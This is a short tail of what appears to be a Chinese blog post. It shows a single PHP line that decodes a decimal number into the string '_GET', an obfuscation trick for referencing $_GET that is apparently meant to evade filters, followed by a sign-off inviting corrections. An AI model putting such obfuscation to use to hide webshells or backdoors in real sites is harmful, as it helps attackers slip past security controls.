echo hex2bin(dechex(1598506324));
?>
如果有寫得不對的地方,請師傅們斧正,感謝賞光~
